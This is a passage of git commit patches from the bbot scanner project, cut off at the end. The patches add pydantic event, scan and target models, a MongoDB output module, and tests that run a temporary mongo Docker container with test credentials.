+from typing import Optional, List, Union, Annotated +from pydantic import BaseModel, ConfigDict, field_serializer + +from bbot.models.helpers import NaiveUTC, naive_datetime_validator + +log = logging.getLogger("bbot_server.models") + + +class BBOTBaseModel(BaseModel): + model_config = ConfigDict(extra="ignore") + + def to_json(self, **kwargs): + return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + + def __hash__(self): + return hash(self.to_json()) + + def __eq__(self, other): + return hash(self) == hash(other) + + +### EVENT ### + +class Event(BBOTBaseModel): + uuid: Annotated[str, "indexed", "unique"] + id: Annotated[str, "indexed"] + type: Annotated[str, "indexed"] + scope_description: str + data: Union[dict, str] + host: Annotated[Optional[str], "indexed"] = None + port: Optional[int] = None + netloc: Optional[str] = None + # we store the host in reverse to allow for instant subdomain queries + # this works because indexes are left-anchored, but we need to search starting from the right side + reverse_host: Annotated[Optional[str], "indexed"] = "" + resolved_hosts: Union[List, None] = None + dns_children: Union[dict, None] = None + web_spider_distance: int = 10 + scope_distance: int = 10 + scan: Annotated[str, "indexed"] + timestamp: Annotated[NaiveUTC, "indexed"] + parent: Annotated[str, "indexed"] + parent_uuid: Annotated[str, "indexed"] + tags: List = [] + module: Annotated[Optional[str], "indexed"] = None + module_sequence: Optional[str] = None + discovery_context: str = "" + discovery_path: List[str] = [] + parent_chain: List[str] = [] + + def __init__(self, **data): + super().__init__(**data) + if self.host: + self.reverse_host = self.host[::-1] + + @staticmethod + def _get_data(data, type): + if isinstance(data, dict) and list(data) == [type]: + return data[type] + return data + + @classmethod + def _indexed_fields(cls): + return sorted( + field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata + ) + + @field_serializer("timestamp") + def serialize_timestamp(self, timestamp: datetime, _info): + return naive_datetime_validator(timestamp).isoformat() + + +### SCAN ### + +class Scan(BBOTBaseModel): + id: Annotated[str, "indexed", "unique"] + name: str + status: Annotated[str, "indexed"] + started_at: Annotated[NaiveUTC, "indexed"] + finished_at: Optional[Annotated[NaiveUTC, "indexed"]] = None + duration_seconds: Optional[float] = None + duration: Optional[str] = None + target: dict + preset: dict + + @classmethod + def from_scan(cls, scan): + return cls( + id=scan.id, + name=scan.name, + status=scan.status, + started_at=scan.started_at, + ) + + +### TARGET ### + +class Target(BBOTBaseModel): + name: str = "Default Target" + strict_scope: bool = False + seeds: List = [] + whitelist: List = [] + blacklist: List = [] + hash: Annotated[str, "indexed", "unique"] + scope_hash: Annotated[str, "indexed"] + seed_hash: Annotated[str, "indexed"] + whitelist_hash: Annotated[str, "indexed"] + blacklist_hash: Annotated[str, "indexed"] diff --git a/bbot/db/sql/models.py b/bbot/models/sql.py similarity index 100% rename from bbot/db/sql/models.py rename to bbot/models/sql.py diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py new file mode 100644 index 0000000000..dd4efa47ce --- /dev/null +++ b/bbot/modules/output/mongo.py @@ -0,0 +1,68 @@ +from motor.motor_asyncio import AsyncIOMotorClient + +from bbot.models.pydantic import Event +from bbot.modules.output.base import BaseOutputModule + + +class Mongo(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a MongoDB database", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "uri": "mongodb://localhost:27017", + "database": "bbot", + "collection_prefix": "", + } + options_desc = { + "uri": "The URI of the MongoDB server", + "database": "The name of the database to use", + "collection_prefix": "Prefix each collection with this string", + } + deps_pip = ["motor~=3.6.0"] + + async def setup(self): + self.uri = self.config.get("uri", "mongodb://localhost:27017") + self.db_client = AsyncIOMotorClient(self.uri) + + # Ping the server to confirm a successful connection + try: + await self.db_client.admin.command("ping") + self.verbose("MongoDB connection successful") + except Exception as e: + return False, f"Failed to connect to MongoDB: {e}" + + self.db_name = self.config.get("database", "bbot") + self.db = self.db_client[self.db_name] + self.collection_prefix = self.config.get("collection_prefix", "") + self.events_collection = self.db[f"{self.collection_prefix}events"] + self.scans_collection = self.db[f"{self.collection_prefix}scans"] + self.targets_collection = self.db[f"{self.collection_prefix}targets"] + + # Build an index for each field in reverse_host and host + for field in Event._indexed_fields(): + await self.collection.create_index([(field, 1)]) + self.verbose(f"Index created for field: {field}") + + return True + + async def handle_event(self, event): + event_json = event.json() + event_pydantic = Event(**event_json) + await self.events_collection.insert_one(event_pydantic.model_dump()) + if event.type == "SCAN": + # here we merge the scan with the one sharing its UUID. + existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + if existing_scan: + # Merge logic here, for example, update the existing scan with new data + updated_scan = {**existing_scan, **event_pydantic.model_dump()} + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, updated_scan) + self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + + diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py index 39b4e6f00e..42f5494555 100644 --- a/bbot/modules/templates/sql.py +++ b/bbot/modules/templates/sql.py @@ -3,7 +3,7 @@ from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession -from bbot.db.sql.models import Event, Scan, Target +from bbot.models.sql import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py new file mode 100644 index 0000000000..4e003f6f57 --- /dev/null +++ b/bbot/test/test_step_1/test_db_models.py @@ -0,0 +1,29 @@ +from bbot.models.pydantic import Event +from ..bbot_fixtures import * # noqa + + +def test_pydantic_models(events): + + test_event = Event(**events.ipv4.json()) + assert sorted(test_event._indexed_fields()) == [ + "host", + "id", + "module", + "parent", + "parent_uuid", + "reverse_host", + "scan", + "timestamp", + "type", + "uuid", + ] + + # events + for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): + e = getattr(events, event) + event_json = e.json() + event_pydantic = Event(**event_json) + assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json + + +# TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py new file mode 100644 index 0000000000..10a8655e81 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -0,0 +1,81 @@ +from .base import ModuleTestBase + + +class TestMongo(ModuleTestBase): + test_db_name = "bbot_test" + test_collection_name = "events_test" + config_overrides = {"modules": {"mongo": {"database": test_db_name, "collection": test_collection_name}}} + + async def setup_before_module(self): + from motor.motor_asyncio import AsyncIOMotorClient + + # Connect to the MongoDB collection + client = AsyncIOMotorClient("mongodb://localhost:27017") + db = client[self.test_db_name] + collection = db.get_collection(self.test_collection_name) + + # Check that there are no events in the collection + count = await collection.count_documents({}) + assert count == 0, "There are existing events in the database" + + # Close the MongoDB connection + client.close() + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + from motor.motor_asyncio import AsyncIOMotorClient + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to the MongoDB collection + client = AsyncIOMotorClient("mongodb://localhost:27017") + db = client[self.test_db_name] + collection = db.get_collection(self.test_collection_name) + + # make sure the collection has all the right indexes + cursor = collection.list_indexes() + indexes = await cursor.to_list(length=None) + for field in Event._indexed_fields(): + assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + + # Fetch all events from the collection + cursor = collection.find({}) + db_events = await cursor.to_list(length=None) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert ( + main_event.get("reverse_host") == expected_reverse_host + ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + + # Compare the sorted lists + assert len(events_json) == len(db_events_pydantic) + # Events don't match exactly because the mongo ones have reverse_host + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host") + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the collection + await collection.delete_many({}) + # Close the MongoDB connection + client.close() From 0eb565de405af77653a612cfa1783961756671af Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 18:39:37 -0500 Subject: [PATCH 026/912] more wip mongo --- bbot/models/helpers.py | 6 ++++- bbot/models/pydantic.py | 31 +++++++++++++++++-------- bbot/modules/output/mongo.py | 19 +++++++-------- bbot/test/test_step_1/test_db_models.py | 8 +++++++ 4 files changed, 43 insertions(+), 21 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 40e127c53b..985c845994 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -3,7 +3,7 @@ from pydantic.functional_validators import AfterValidator -def naive_datetime_validator(d: datetime): +def naive_datetime_validator(d: datetime) -> datetime: """ Converts all dates into UTC, then drops timezone information. @@ -13,4 +13,8 @@ def naive_datetime_validator(d: datetime): return d.replace(tzinfo=None) +def naive_utc_now() -> datetime: + return naive_datetime_validator(datetime.now()) + + NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 0d54cc91b7..fe179878e7 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -2,9 +2,9 @@ import logging from datetime import datetime from typing import Optional, List, Union, Annotated -from pydantic import BaseModel, ConfigDict, field_serializer +from pydantic import BaseModel, ConfigDict, field_serializer, Field -from bbot.models.helpers import NaiveUTC, naive_datetime_validator +from bbot.models.helpers import NaiveUTC, naive_datetime_validator, naive_utc_now log = logging.getLogger("bbot_server.models") @@ -12,8 +12,18 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def to_json(self, **kwargs): - return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + def to_json(self, preserve_datetime=False): + ret = self.model_dump() + if preserve_datetime: + for key in ret: + val = getattr(self, key, None) + if isinstance(val, datetime): + ret[key] = val + return ret + + def to_json_string(self, preserve_datetime=False, **kwargs): + kwargs['sort_keys'] = True + return json.dumps(self.to_json(preserve_datetime=preserve_datetime), **kwargs) def __hash__(self): return hash(self.to_json()) @@ -21,6 +31,12 @@ def __hash__(self): def __eq__(self, other): return hash(self) == hash(other) + @classmethod + def _indexed_fields(cls): + return sorted( + field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata + ) + ### EVENT ### @@ -42,6 +58,7 @@ class Event(BBOTBaseModel): scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[NaiveUTC, "indexed"] + inserted_at: Optional[Annotated[NaiveUTC, "indexed"]] = Field(default_factory=naive_utc_now) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -62,12 +79,6 @@ def _get_data(data, type): return data[type] return data - @classmethod - def _indexed_fields(cls): - return sorted( - field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata - ) - @field_serializer("timestamp") def serialize_timestamp(self, timestamp: datetime, _info): return naive_datetime_validator(timestamp).isoformat() diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index dd4efa47ce..bb92d19d8a 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -1,6 +1,6 @@ from motor.motor_asyncio import AsyncIOMotorClient -from bbot.models.pydantic import Event +from bbot.models.pydantic import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule @@ -42,9 +42,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field in Event._indexed_fields(): - await self.collection.create_index([(field, 1)]) - self.verbose(f"Index created for field: {field}") + for field in Event.model_fields: + if "indexed" in field.metadata: + unique = "unique" in field.metadata + await self.collection.create_index([(field, 1)], unique=unique) + self.verbose(f"Index created for field: {field}") return True @@ -52,17 +54,14 @@ async def handle_event(self, event): event_json = event.json() event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) + if event.type == "SCAN": - # here we merge the scan with the one sharing its UUID. + scan_json = Scan.from_event(event).model_dump() existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) if existing_scan: - # Merge logic here, for example, update the existing scan with new data - updated_scan = {**existing_scan, **event_pydantic.model_dump()} - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, updated_scan) + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") else: # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") - - diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 4e003f6f57..1ba970f0e7 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,3 +1,5 @@ +from datetime import datetime + from bbot.models.pydantic import Event from ..bbot_fixtures import * # noqa @@ -23,6 +25,12 @@ def test_pydantic_models(events): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) + event_pydantic_dict = event_pydantic.to_json() + event_pydantic_dict_datetime = event_pydantic.to_json(preserve_datetime=True) + assert isinstance(event_pydantic_dict["timestamp"], str) + assert isinstance(event_pydantic_dict["inserted_at"], str) + assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) + assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json From 82aa48eed1ba17cc08e0f4c97fa2666d14dcd94a Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 20:08:24 -0500 Subject: [PATCH 027/912] more mongo wip --- bbot/models/pydantic.py | 66 ++++++++------- bbot/modules/output/mongo.py | 34 ++++---- bbot/test/test_step_1/test_db_models.py | 14 +++- .../module_tests/test_module_mongo.py | 81 +++++++++++++++---- 4 files changed, 133 insertions(+), 62 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index fe179878e7..906801693a 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,10 +1,9 @@ -import json import logging from datetime import datetime -from typing import Optional, List, Union, Annotated -from pydantic import BaseModel, ConfigDict, field_serializer, Field +from pydantic import BaseModel, ConfigDict, Field +from typing import Optional, List, Union, Annotated, get_type_hints -from bbot.models.helpers import NaiveUTC, naive_datetime_validator, naive_utc_now +from bbot.models.helpers import NaiveUTC, naive_utc_now log = logging.getLogger("bbot_server.models") @@ -12,19 +11,14 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def to_json(self, preserve_datetime=False): - ret = self.model_dump() - if preserve_datetime: - for key in ret: - val = getattr(self, key, None) - if isinstance(val, datetime): - ret[key] = val + def model_dump(self, preserve_datetime=False, **kwargs): + ret = super().model_dump(**kwargs) + if not preserve_datetime: + for datetime_field in self._datetime_fields(): + if datetime_field in ret: + ret[datetime_field] = ret[datetime_field].isoformat() return ret - def to_json_string(self, preserve_datetime=False, **kwargs): - kwargs['sort_keys'] = True - return json.dumps(self.to_json(preserve_datetime=preserve_datetime), **kwargs) - def __hash__(self): return hash(self.to_json()) @@ -33,13 +27,37 @@ def __eq__(self, other): @classmethod def _indexed_fields(cls): - return sorted( - field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata - ) + return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) + + @classmethod + def _get_type_hints(cls): + """ + Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + """ + type_hints = get_type_hints(cls) + unwrapped_type_hints = {} + for field_name in cls.model_fields: + type_hint = type_hints[field_name] + while 1: + if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + type_hint = type_hint.__args__[0] + else: + break + unwrapped_type_hints[field_name] = type_hint + return unwrapped_type_hints + + @classmethod + def _datetime_fields(cls): + datetime_fields = [] + for field_name, type_hint in cls._get_type_hints().items(): + if type_hint == datetime: + datetime_fields.append(field_name) + return sorted(datetime_fields) ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -73,19 +91,10 @@ def __init__(self, **data): if self.host: self.reverse_host = self.host[::-1] - @staticmethod - def _get_data(data, type): - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data - - @field_serializer("timestamp") - def serialize_timestamp(self, timestamp: datetime, _info): - return naive_datetime_validator(timestamp).isoformat() - ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str @@ -109,6 +118,7 @@ def from_scan(cls, scan): ### TARGET ### + class Target(BBOTBaseModel): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index bb92d19d8a..bc323d7ad9 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -14,18 +14,24 @@ class Mongo(BaseOutputModule): options = { "uri": "mongodb://localhost:27017", "database": "bbot", + "username": "", + "password": "", "collection_prefix": "", } options_desc = { "uri": "The URI of the MongoDB server", "database": "The name of the database to use", + "username": "The username to use to connect to the database", + "password": "The password to use to connect to the database", "collection_prefix": "Prefix each collection with this string", } deps_pip = ["motor~=3.6.0"] async def setup(self): self.uri = self.config.get("uri", "mongodb://localhost:27017") - self.db_client = AsyncIOMotorClient(self.uri) + self.username = self.config.get("username", "") + self.password = self.config.get("password", "") + self.db_client = AsyncIOMotorClient(self.uri, username=self.username, password=self.password) # Ping the server to confirm a successful connection try: @@ -42,11 +48,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field in Event.model_fields: + for field_name, field in Event.model_fields.items(): if "indexed" in field.metadata: unique = "unique" in field.metadata - await self.collection.create_index([(field, 1)], unique=unique) - self.verbose(f"Index created for field: {field}") + await self.events_collection.create_index([(field_name, 1)], unique=unique) + self.verbose(f"Index created for field: {field_name} (unique={unique})") return True @@ -55,13 +61,13 @@ async def handle_event(self, event): event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) - if event.type == "SCAN": - scan_json = Scan.from_event(event).model_dump() - existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) - if existing_scan: - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") - else: - # Insert as a new scan if no existing scan is found - await self.scans_collection.insert_one(event_pydantic.model_dump()) - self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + # if event.type == "SCAN": + # scan_json = Scan.from_event(event).model_dump() + # existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + # if existing_scan: + # await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) + # self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + # else: + # # Insert as a new scan if no existing scan is found + # await self.scans_collection.insert_one(event_pydantic.model_dump()) + # self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 1ba970f0e7..5a6fce547c 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -6,6 +6,8 @@ def test_pydantic_models(events): + assert Event._datetime_fields() == ["inserted_at", "timestamp"] + test_event = Event(**events.ipv4.json()) assert sorted(test_event._indexed_fields()) == [ "host", @@ -20,18 +22,22 @@ def test_pydantic_models(events): "uuid", ] - # events + # convert events to pydantic and back, making sure they're exactly the same for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) - event_pydantic_dict = event_pydantic.to_json() - event_pydantic_dict_datetime = event_pydantic.to_json(preserve_datetime=True) + event_pydantic_dict = event_pydantic.model_dump() + event_pydantic_dict_datetime = event_pydantic.model_dump(preserve_datetime=True) + assert isinstance(event_json["timestamp"], str) + assert isinstance(e.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, datetime) + assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], str) assert isinstance(event_pydantic_dict["inserted_at"], str) assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) - assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json + assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json # TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 10a8655e81..839e46156e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -1,21 +1,58 @@ +import time +import asyncio + from .base import ModuleTestBase class TestMongo(ModuleTestBase): test_db_name = "bbot_test" - test_collection_name = "events_test" - config_overrides = {"modules": {"mongo": {"database": test_db_name, "collection": test_collection_name}}} + test_collection_prefix = "test_" + config_overrides = { + "modules": { + "mongo": { + "database": test_db_name, + "username": "bbot", + "password": "bbotislife", + "collection_prefix": test_collection_prefix, + } + } + } + + async def setup_before_prep(self, module_test): + + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-mongo", + "--rm", + "-e", + "MONGO_INITDB_ROOT_USERNAME=bbot", + "-e", + "MONGO_INITDB_ROOT_PASSWORD=bbotislife", + "-p", + "27017:27017", + "-d", + "mongo", + ) - async def setup_before_module(self): from motor.motor_asyncio import AsyncIOMotorClient - # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017") - db = client[self.test_db_name] - collection = db.get_collection(self.test_collection_name) + # Connect to the MongoDB collection with retry logic + while True: + try: + client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + db = client[self.test_db_name] + events_collection = db.get_collection(self.test_collection_prefix + "events") + # Attempt a simple operation to confirm the connection + await events_collection.count_documents({}) + break # Exit the loop if connection is successful + except Exception as e: + print(f"Connection failed: {e}. Retrying in 5 seconds...") + time.sleep(0.5) # Check that there are no events in the collection - count = await collection.count_documents({}) + count = await events_collection.count_documents({}) assert count == 0, "There are existing events in the database" # Close the MongoDB connection @@ -30,20 +67,30 @@ async def check(self, module_test, events): events_json.sort(key=lambda x: x["timestamp"]) # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017") + client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") db = client[self.test_db_name] - collection = db.get_collection(self.test_collection_name) + events_collection = db.get_collection(self.test_collection_prefix + "events") # make sure the collection has all the right indexes - cursor = collection.list_indexes() + cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) for field in Event._indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" # Fetch all events from the collection - cursor = collection.find({}) + cursor = events_collection.find({}) db_events = await cursor.to_list(length=None) + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + # we currently don't store timestamps as datetime objects because mongodb has lower precision + # assert isinstance(db_event["timestamp"], datetime) + # assert isinstance(db_event["inserted_at"], datetime) + assert isinstance(db_event["timestamp"], str) + assert isinstance(db_event["inserted_at"], str) + # Convert to Pydantic objects and dump them db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] db_events_pydantic.sort(key=lambda x: x["timestamp"]) @@ -65,17 +112,19 @@ async def check(self, module_test, events): main_event.get("reverse_host") == expected_reverse_host ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" - # Compare the sorted lists - assert len(events_json) == len(db_events_pydantic) - # Events don't match exactly because the mongo ones have reverse_host + # Events don't match exactly because the mongo ones have reverse_host and inserted_at assert events_json != db_events_pydantic for db_event in db_events_pydantic: db_event.pop("reverse_host") + db_event.pop("inserted_at") # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" finally: # Clean up: Delete all documents in the collection - await collection.delete_many({}) + await events_collection.delete_many({}) # Close the MongoDB connection client.close() + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From 64b43128a29c22018fcd4ab5ee0bbdfd086b26f0 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 20 Nov 2024 11:54:12 -0500 Subject: [PATCH 028/912] skip distro tests --- bbot/test/test_step_2/module_tests/test_module_mongo.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 839e46156e..31e7f70747 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -17,6 +17,7 @@ class TestMongo(ModuleTestBase): } } } + skip_distro_tests = True async def setup_before_prep(self, module_test): @@ -48,7 +49,7 @@ async def setup_before_prep(self, module_test): await events_collection.count_documents({}) break # Exit the loop if connection is successful except Exception as e: - print(f"Connection failed: {e}. Retrying in 5 seconds...") + print(f"Connection failed: {e}. Retrying...") time.sleep(0.5) # Check that there are no events in the collection From 56f3659fb34f9165763e123cc5a8b64967271661 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 10:35:12 -0500 Subject: [PATCH 029/912] more wip mongo --- bbot/core/event/base.py | 8 ++++++-- bbot/models/pydantic.py | 10 +++++----- bbot/modules/output/mongo.py | 20 ++++++++++---------- bbot/test/bbot_fixtures.py | 14 +++++++------- bbot/test/test_step_1/test_db_models.py | 9 +++------ bbot/test/test_step_1/test_events.py | 6 +++--- 6 files changed, 34 insertions(+), 33 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 18074321d8..ebaac46618 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -803,7 +803,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = naive_datetime_validator(self.timestamp).isoformat() + j["timestamp"] = naive_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -1770,7 +1770,11 @@ def event_from_json(j, siem_friendly=False): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = set(resolved_hosts) - event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) + # accept both isoformat and unix timestamp + try: + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"]) + except Exception: + event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] parent_id = j.get("parent", None) if parent_id is not None: diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 906801693a..388d85f05f 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -11,12 +11,12 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def model_dump(self, preserve_datetime=False, **kwargs): + def model_dump(self, **kwargs): ret = super().model_dump(**kwargs) - if not preserve_datetime: - for datetime_field in self._datetime_fields(): - if datetime_field in ret: - ret[datetime_field] = ret[datetime_field].isoformat() + # convert datetime fields to unix timestamps + for datetime_field in self._datetime_fields(): + if datetime_field in ret: + ret[datetime_field] = ret[datetime_field].timestamp() return ret def __hash__(self): diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index bc323d7ad9..03185b169c 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -61,13 +61,13 @@ async def handle_event(self, event): event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) - # if event.type == "SCAN": - # scan_json = Scan.from_event(event).model_dump() - # existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) - # if existing_scan: - # await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - # self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") - # else: - # # Insert as a new scan if no existing scan is found - # await self.scans_collection.insert_one(event_pydantic.model_dump()) - # self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + if event.type == "SCAN": + scan_json = Scan.from_event(event).model_dump() + existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + if existing_scan: + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) + self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 4d73d036c1..229c58a290 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -254,12 +254,12 @@ class bbot_events: return bbot_events -@pytest.fixture(scope="session", autouse=True) -def install_all_python_deps(): - deps_pip = set() - for module in DEFAULT_PRESET.module_loader.preloaded().values(): - deps_pip.update(set(module.get("deps", {}).get("pip", []))) +# @pytest.fixture(scope="session", autouse=True) +# def install_all_python_deps(): +# deps_pip = set() +# for module in DEFAULT_PRESET.module_loader.preloaded().values(): +# deps_pip.update(set(module.get("deps", {}).get("pip", 